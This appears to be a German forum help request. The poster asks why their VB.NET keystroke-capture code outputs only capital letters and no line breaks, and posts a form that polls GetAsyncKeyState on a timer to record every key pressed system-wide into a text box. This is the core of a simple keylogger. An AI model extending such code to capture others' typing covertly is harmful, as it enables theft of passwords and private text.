Wenn cih diesen Code benutze dann Schreibt der nur Alles Groß und macht keine Enter..
Code:
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
Public Function getkeypress() As Integer
For i As Integer = 1 To 255
If GetAsyncKeyState(i) = -32767 Then
Return i
End If
Next i
End Function
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim key As Integer = getkeypress()
If key <> 0 Then
TextBox1.Text &= CStr(Chr(key))
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Start()
End Sub
End Class
